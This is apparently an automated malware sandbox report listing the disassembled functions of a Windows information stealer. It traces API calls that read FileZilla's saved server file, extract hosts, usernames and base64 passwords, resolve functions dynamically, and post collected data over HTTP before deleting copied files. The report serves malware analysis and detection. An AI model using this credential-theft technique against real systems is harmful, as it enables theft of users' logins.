Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

strtok_s.MSVCRT ref: 0041015B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DA6,00420DA3,00420DA2,00420D9F), ref: 004101A2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004101A9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004101C5
lstrlenA.KERNEL32(00000000), ref: 004101D3

Part of subcall function 00418380: malloc.MSVCRT ref: 00418388
Part of subcall function 00418380: strncpy.MSVCRT ref: 004183A3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041020F
lstrlenA.KERNEL32(00000000), ref: 0041021D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410259
lstrlenA.KERNEL32(00000000), ref: 00410267
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004102A3
lstrlenA.KERNEL32(00000000), ref: 004102B5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 00410342
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041035A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410372
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041038A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 004103A2
lstrcat.KERNEL32(?,profile: null), ref: 004103B1
lstrcat.KERNEL32(?,url: ), ref: 004103C0
lstrcat.KERNEL32(?,00000000), ref: 004103D3
lstrcat.KERNEL32(?,0042161C), ref: 004103E2
lstrcat.KERNEL32(?,00000000), ref: 004103F5
lstrcat.KERNEL32(?,00421620), ref: 00410404
lstrcat.KERNEL32(?,login: ), ref: 00410413
lstrcat.KERNEL32(?,00000000), ref: 00410426
lstrcat.KERNEL32(?,0042162C), ref: 00410435
lstrcat.KERNEL32(?,password: ), ref: 00410444
lstrcat.KERNEL32(?,00000000), ref: 00410457
lstrcat.KERNEL32(?,0042163C), ref: 00410466
lstrcat.KERNEL32(?,00421640), ref: 00410475
strtok_s.MSVCRT ref: 004104B9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004104CE
memset.MSVCRT ref: 0041051D

Strings

password: , xrefs: 0041043B
profile: null, xrefs: 004103A8
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004100E4
url: , xrefs: 004103B7
<Host>, xrefs: 004101BC
<Port>, xrefs: 00410206
browser: FileZilla, xrefs: 00410399
<Pass encoding="base64">, xrefs: 0041029A
login: , xrefs: 0041040A
<User>, xrefs: 00410250

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$ChangeCloseCreateFindFolderFreeNotificationPathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1266801029-555421843
Opcode ID: 0cc8e1157d5661dd7b41f8e4961c0cdbdf7fe6c43a5f367f0e925aa519aeb564
Instruction ID: f2c119995f801d95b771d97b8d40ebd85ad32e2919b54f786426441ea9706e1a
Opcode Fuzzy Hash: 0cc8e1157d5661dd7b41f8e4961c0cdbdf7fe6c43a5f367f0e925aa519aeb564
Instruction Fuzzy Hash: BBD1A571A00108ABCB04EBF1DC4AEEE7739AF54314F50851EF103A7191DF78AA95CB69

Function 00419270 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,0255DB78), ref: 004192B1
GetProcAddress.KERNEL32(76210000,0255DB48), ref: 004192CA
GetProcAddress.KERNEL32(76210000,0255DB90), ref: 004192E2
GetProcAddress.KERNEL32(76210000,0255D090), ref: 004192FA
GetProcAddress.KERNEL32(76210000,0255CFB8), ref: 00419313
GetProcAddress.KERNEL32(76210000,02555DF8), ref: 0041932B
GetProcAddress.KERNEL32(76210000,025548C0), ref: 00419343
GetProcAddress.KERNEL32(76210000,02554640), ref: 0041935C
GetProcAddress.KERNEL32(76210000,0255D078), ref: 00419374
GetProcAddress.KERNEL32(76210000,0255CE38), ref: 0041938C
GetProcAddress.KERNEL32(76210000,0255CF10), ref: 004193A5
GetProcAddress.KERNEL32(76210000,0255CE68), ref: 004193BD
GetProcAddress.KERNEL32(76210000,02554780), ref: 004193D5
GetProcAddress.KERNEL32(76210000,0255CE20), ref: 004193EE
GetProcAddress.KERNEL32(76210000,0255CFA0), ref: 00419406
GetProcAddress.KERNEL32(76210000,02554500), ref: 0041941E
GetProcAddress.KERNEL32(76210000,0255D030), ref: 00419437
GetProcAddress.KERNEL32(76210000,0255D048), ref: 0041944F
GetProcAddress.KERNEL32(76210000,02554840), ref: 00419467
GetProcAddress.KERNEL32(76210000,0255CF70), ref: 00419480
GetProcAddress.KERNEL32(76210000,02554760), ref: 00419498
LoadLibraryA.KERNEL32(0255CF28,?,004164A0), ref: 004194AA
LoadLibraryA.KERNEL32(0255CEF8,?,004164A0), ref: 004194BB
LoadLibraryA.KERNEL32(0255D0A8,?,004164A0), ref: 004194CD
LoadLibraryA.KERNEL32(0255CE80,?,004164A0), ref: 004194DF
LoadLibraryA.KERNEL32(0255CE98,?,004164A0), ref: 004194F0
GetProcAddress.KERNEL32(75B30000,0255D0F0), ref: 00419512
GetProcAddress.KERNEL32(751E0000,0255D0C0), ref: 00419533
GetProcAddress.KERNEL32(751E0000,0255D0D8), ref: 0041954B
GetProcAddress.KERNEL32(76910000,0255CEE0), ref: 0041956D
GetProcAddress.KERNEL32(75670000,025546A0), ref: 0041958E
GetProcAddress.KERNEL32(77310000,02555E08), ref: 004195AF
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 004195C6

Strings

Fs, xrefs: 00419551
NtQueryInformationProcess, xrefs: 004195BA

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: Fs$NtQueryInformationProcess
API String ID: 2238633743-1241331114
Opcode ID: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction ID: 826a308167d33dd6e89c68d84aa8ae535e40b86c028b310e96c4c1ecb1cfdbe7
Opcode Fuzzy Hash: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction Fuzzy Hash: D3A171B5500A00EFC764DF68ED88E1E3BBBBB4C361B50A51AEA05C3674D7349843DBA5

Function 00405150 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00418940: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000), ref: 00418960

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,0257B740), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,0257B7A0,?,0257AD20,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,0257B800,00000000,?,02558870,00000000,?,00421980,00000000,?,00414CAF), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
HeapAlloc.KERNEL32(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

", xrefs: 00405614
------, xrefs: 004052E7
------, xrefs: 00405407
", xrefs: 00405756
--, xrefs: 004052D0
------, xrefs: 0040568B
", xrefs: 004054D2
------, xrefs: 00405549

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$??2@AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 811081172-2774362122
Opcode ID: 0d369a11fc9b38d55fd53a3e980d49d376e96a41a52c2b8b6124bad2d8ceecea
Instruction ID: 1d52745d65e853cf4120aa405e943018ad764f54ae2154c0ea3196726ecd4ecf
Opcode Fuzzy Hash: 0d369a11fc9b38d55fd53a3e980d49d376e96a41a52c2b8b6124bad2d8ceecea
Instruction Fuzzy Hash: 8E325071921118ABCB14EBA1DC55FEEB338BF54314F40419EF50662192EF782B98CF6A

Function 004059B0 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,0257B740), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0257B780,00000000,?,02558870,00000000,?,004219C0), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,0257B7A0,?,0257AD20,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

------, xrefs: 00405D9C
", xrefs: 00405E66
XA, xrefs: 004060CA
------, xrefs: 00405AE6
", xrefs: 00405D25
XA, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7
------, xrefs: 00405C5B

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$??2@AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$XA$XA
API String ID: 1710586764-2501203334
Opcode ID: eb9ee7726ba9a78ad6c703366f93d7dca1b92c3ea7fb48d8e811fe363b87fc34
Instruction ID: fd4032899b6f210ca5ed4ade58f42d7f74ab7cfcec1a01a64090ede90c3e384c
Opcode Fuzzy Hash: eb9ee7726ba9a78ad6c703366f93d7dca1b92c3ea7fb48d8e811fe363b87fc34
Instruction Fuzzy Hash: 4C123F71921118ABCB14EBA1DC95FEEB338BF14314F40419EF50662191EF782B99CF69

Function 0040A6C0 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A9F2
RtlAllocateHeap.NTDLL(00000000), ref: 0040A9F9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A7DA

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02555E18,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrcat.KERNEL32(?,00000000), ref: 0040AB3A
lstrcat.KERNEL32(?,004212C4), ref: 0040AB49
lstrcat.KERNEL32(?,00000000), ref: 0040AB5C
lstrcat.KERNEL32(?,004212C8), ref: 0040AB6B
lstrcat.KERNEL32(?,00000000), ref: 0040AB7E
lstrcat.KERNEL32(?,004212CC), ref: 0040AB8D
lstrcat.KERNEL32(?,00000000), ref: 0040ABA0
lstrcat.KERNEL32(?,004212D0), ref: 0040ABAF
lstrcat.KERNEL32(?,00000000), ref: 0040ABC2
lstrcat.KERNEL32(?,004212D4), ref: 0040ABD1
lstrcat.KERNEL32(?,00000000), ref: 0040ABE4
lstrcat.KERNEL32(?,004212D8), ref: 0040ABF3

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 0040AC3C
lstrcat.KERNEL32(?,004212DC), ref: 0040AC56
lstrlenA.KERNEL32(?), ref: 0040AC95
lstrlenA.KERNEL32(?), ref: 0040ACA4
memset.MSVCRT ref: 0040ACF3

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

DeleteFileA.KERNEL32(00000000), ref: 0040AD1F

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: 817110dbf6369b10d743006ff494239070760aaa47c84b2c744768fcda3b79f6
Instruction ID: db3bf564d8a269597709baab17c241dc92c2864a2a44399f5d1cb95b81495e87
Opcode Fuzzy Hash: 817110dbf6369b10d743006ff494239070760aaa47c84b2c744768fcda3b79f6
Instruction Fuzzy Hash: 13029371901108ABCB14EBA1DC96EEE7339BF54314F10416EF507B20A1DF786E99CB6A

Function 0040CD30 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02558960,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CDC3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040CF07
RtlAllocateHeap.NTDLL(00000000), ref: 0040CF0E
lstrcat.KERNEL32(?,00000000), ref: 0040D048
lstrcat.KERNEL32(?,0042141C), ref: 0040D057
lstrcat.KERNEL32(?,00000000), ref: 0040D06A
lstrcat.KERNEL32(?,00421420), ref: 0040D079
lstrcat.KERNEL32(?,00000000), ref: 0040D08C
lstrcat.KERNEL32(?,00421424), ref: 0040D09B
lstrcat.KERNEL32(?,00000000), ref: 0040D0AE
lstrcat.KERNEL32(?,00421428), ref: 0040D0BD
lstrcat.KERNEL32(?,00000000), ref: 0040D0D0
lstrcat.KERNEL32(?,0042142C), ref: 0040D0DF
lstrcat.KERNEL32(?,00000000), ref: 0040D0F2
lstrcat.KERNEL32(?,00421430), ref: 0040D101
lstrcat.KERNEL32(?,00000000), ref: 0040D114
lstrcat.KERNEL32(?,00421434), ref: 0040D123

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02555E18,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(?), ref: 0040D16A
lstrlenA.KERNEL32(?), ref: 0040D179
memset.MSVCRT ref: 0040D1C8

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

DeleteFileA.KERNEL32(00000000), ref: 0040D1F4

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
